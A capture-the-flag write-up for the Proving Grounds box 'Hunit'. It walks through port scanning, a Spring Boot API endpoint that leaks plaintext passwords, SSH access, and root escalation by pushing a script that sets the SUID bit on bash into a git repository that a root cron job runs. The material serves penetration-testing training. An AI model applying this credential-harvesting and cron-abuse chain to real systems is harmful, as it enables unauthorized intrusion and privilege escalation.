# Hunit Writeup - Proving Grounds

> Intermediate Linux box where a Spring Boot API leaks every user's password in plaintext for SSH access, then escalated to root by pushing a malicious script into a git repo a root cron job pulls and executes.

- **URL:** https://hackindex.io/writeups/hunit
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** information-disclosure, privilege-escalation, cron-abuse
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Hunit exposes a "My Haikus" Spring Boot application whose `/api/user/` endpoint dumps every user's credentials in plaintext. One of those accounts, an admin, has SSH access directly. Root comes from a cron job that pulls a bare git repository and executes a script from it as root, and the git user's SSH key is left world-readable.

## Reconnaissance

### Nmap

Scan all ports to find the full service list, since SSH is not on its default port.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT      STATE SERVICE
# 8080/tcp  open  http-proxy
# 12445/tcp open  netbios-ssn
# 18030/tcp open  http
# 43022/tcp open  ssh
```

Four non-standard ports: a web app on 8080, Samba on 12445, a second web server on 18030, and SSH on 43022. The app on 8080 is the obvious target.

### Web enumeration

Fingerprint the application on port 8080.

```bash
whatweb http://$TARGET_IP:8080
# [200 OK] Title[My Haikus], JQuery
```

**My Haikus** is a haiku blog built with jQuery and an HTML5 UP template, backed by a Spring Boot API. Spring Boot apps commonly expose REST endpoints under `/api/`, so probe for one.

## Exploitation

### Plaintext credential leak via `/api/user/`

Request the endpoint with a trailing slash, since `/api/user` without one returns 404.

```bash
curl -s http://$TARGET_IP:8080/api/user/
# [
#   {"role":"Editor","login":"rjackson","password":"<snip>"},
#   {"role":"Editor","login":"jsanchez","password":"<snip>"},
#   {"role":"Admin","login":"dademola","password":"$DADEMOLA_PASSWORD"},
#   {"role":"Editor","login":"jwinters","password":"<snip>"},
#   {"role":"Editor","login":"jvargas","password":"<snip>"}
# ]
```

The endpoint returns every user's role, login and password in plaintext, including the admin account `dademola`. SSH is reachable on the non-standard port found during the scan.

```bash
ssh -p 43022 dademola@$TARGET_IP
# dademola@hunit:~$ id
# uid=1001(dademola) gid=1001(dademola) groups=1001(dademola)
```

Shell as `dademola`.

## Privilege Escalation

### Git repository cron job

A backup of the crontab reveals two root cron jobs tied to a bare git repository.

```bash
cat /etc/crontab.bak
# */3 * * * * /root/git-server/backups.sh
# */2 * * * * /root/pull.sh
```

`pull.sh` pulls updates into the working copy of the `/git-server` bare repository every 2 minutes, and `backups.sh` runs the pulled script every 3 minutes, both as root. The `git` user's SSH key is world-readable.

```bash
ls -la /home/git/.ssh/
# -rwxr-xr-x 1 root root 2590 Nov  5  2020 id_rsa
```

Clone the repository with that key, replace `backups.sh` with a payload that sets the SUID bit on `bash`, and push the change.

```bash
cd /tmp
GIT_SSH_COMMAND='ssh -i /home/git/.ssh/id_rsa -p 43022 -o StrictHostKeyChecking=no' git clone git@127.0.0.1:/git-server
cd git-server
git config user.email "dademola@hunit"
git config user.name "dademola"
printf '#!/bin/bash\nchmod +s /bin/bash\ntouch /tmp/pwned\n' > backups.sh
git add backups.sh
git commit -m "update"
GIT_SSH_COMMAND='ssh -i /home/git/.ssh/id_rsa -p 43022 -o StrictHostKeyChecking=no' git push origin master
# Enumerating objects: 4, done.
# To 127.0.0.1:/git-server
#    a1b2c3d..e4f5a6b  master -> master
```

Git requires `user.email` and `user.name` before it will commit, otherwise the commit silently fails and `push` reports nothing to do. Wait for the cron job to pull and execute the modified script, then check for the SUID bit.

```bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root 1037528 Jan  1  2020 /bin/bash
```

The cron job ran as root and set the SUID bit. Spawn bash with `-p` to keep the elevated privileges.

```bash
/bin/bash -p
# bash-5.0# id
# uid=1001(dademola) gid=1001(dademola) euid=0(root) egid=0(root)
```

Effective root.

Related